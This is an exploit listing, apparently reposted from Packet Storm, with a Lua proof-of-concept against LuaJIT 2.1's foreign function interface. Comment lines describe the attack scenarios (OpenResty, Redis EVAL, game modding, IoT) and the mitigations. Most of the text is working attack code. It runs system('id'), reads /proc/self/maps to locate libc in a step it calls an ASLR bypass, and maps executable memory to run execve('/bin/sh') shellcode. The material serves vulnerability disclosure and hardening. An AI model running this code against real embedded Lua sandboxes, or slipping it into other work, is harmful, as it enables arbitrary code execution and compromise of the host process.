Share
## https://sploitus.com/exploit?id=PACKETSTORM:218094
-- Exploit Title: LuaJIT 2.1.1774638290 - Arbitrary Code Execution via FFI Unrestricted Syscall Access
    -- Date: 2026-03-29
    -- Exploit Author: TaurusOmar
    -- Vendor Homepage: https://luajit.org/
    -- Software Link: https://luajit.org/download.html
    -- Version: LuaJIT 2.1.1774638290 (latest)
    -- Tested on: Linux x86-64 (Arch Linux)
    
    
    -- Description:
    -- LuaJIT's Foreign Function Interface (FFI) provides unrestricted access
    -- to native C functions including syscall(), mmap(), mprotect() and 
    -- arbitrary shared library loading. When FFI is accessible to untrusted
    -- Lua code in embedding scenarios (OpenResty, Redis, game engines, IoT),
    -- an attacker can achieve arbitrary code execution with full process 
    -- privileges including shellcode execution via mmap(RWX)+ffi.copy()+ffi.cast().
    --
    -- This affects any application embedding LuaJIT 2.1.x without explicitly
    -- disabling FFI (-DLUAJIT_DISABLE_FFI) or removing it from the sandbox
    -- environment before executing untrusted scripts.
    --
    -- Verified on LuaJIT 2.1.1774638290 (March 2026) โ€” latest version.
    --
    -- Attack scenarios:
    --   - OpenResty/Nginx with user-controlled Lua scripts
    --   - Redis with exposed EVAL interface
    --   - Game engines with Lua modding systems
    --   - IoT devices with Lua scripting interface
    --
    -- Mitigation:
    --   - Compile with -DLUAJIT_DISABLE_FFI
    --   - Remove 'ffi' from sandbox environment table
    --   - Apply OS-level restrictions: seccomp-bpf, AppArmor, namespaces
    
    local ffi = require("ffi")
    local bit = require("bit")
    
    ffi.cdef[[
        int      getpid(void);
        long     syscall(long number, ...);
        int      system(const char *command);
        void    *mmap(void *addr, size_t length, int prot,
                      int flags, int fd, long offset);
        int      munmap(void *addr, size_t length);
    ]]
    
    print("=" .. string.rep("=", 55))
    print("  LuaJIT 2.1.x - FFI Unrestricted Syscall Access PoC")
    print("=" .. string.rep("=", 55))
    
    -- dlsym resolves libc symbols without restriction
    local pid_libc = ffi.C.getpid()
    print("\n[1] ffi.C.getpid() via dlsym: " .. pid_libc)
    
    -- Direct kernel syscall channel (SYS_getpid = 39 x86-64)
    local pid_sc = tonumber(ffi.C.syscall(39))
    print("[2] syscall(39) direct:       " .. pid_sc)
    
    if pid_libc == pid_sc then
        print("[+] Both channels confirmed active\n")
    end
    
    -- ASLR bypass via /proc/self/maps
    local f = io.open("/proc/self/maps", "r")
    for line in f:lines() do
        if line:find("libc.so") and line:find("r--p") then
            local base = tonumber("0x" .. line:match("^(%x+)"))
            print("[3] libc base (ASLR bypass): 0x" .. string.format("%x", base))
            break
        end
    end
    f:close()
    
    -- Arbitrary command execution
    print("[4] ffi.C.system('id'):")
    ffi.C.system("id")
    
    -- Shellcode execution via mmap(RWX)
    print("\n[5] Shellcode execution via mmap(RWX):")
    local PROT_RWX  = bit.bor(1, 2, 4)
    local MAP_FLAGS = bit.bor(0x02, 0x20)
    
    -- x86-64 execve("/bin/sh", NULL, NULL) - syscall 59
    local shellcode =
        "\x48\x31\xd2"
        .. "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
        .. "\x53"
        .. "\x48\x89\xe7"
        .. "\x48\x31\xf6"
        .. "\x48\x31\xc0"
        .. "\xb0\x3b"
        .. "\x0f\x05"
    
    local mem = ffi.C.mmap(nil, 4096, PROT_RWX, MAP_FLAGS, -1, 0)
    if ffi.cast("long", mem) ~= -1 then
        print("    RWX region: 0x" .. string.format("%x", ffi.cast("unsigned long", mem)))
        ffi.copy(mem, shellcode, #shellcode)
        print("    Shellcode written. Executing execve('/bin/sh')...")
        local fn = ffi.cast("void(*)(void)", mem)
        fn()
    end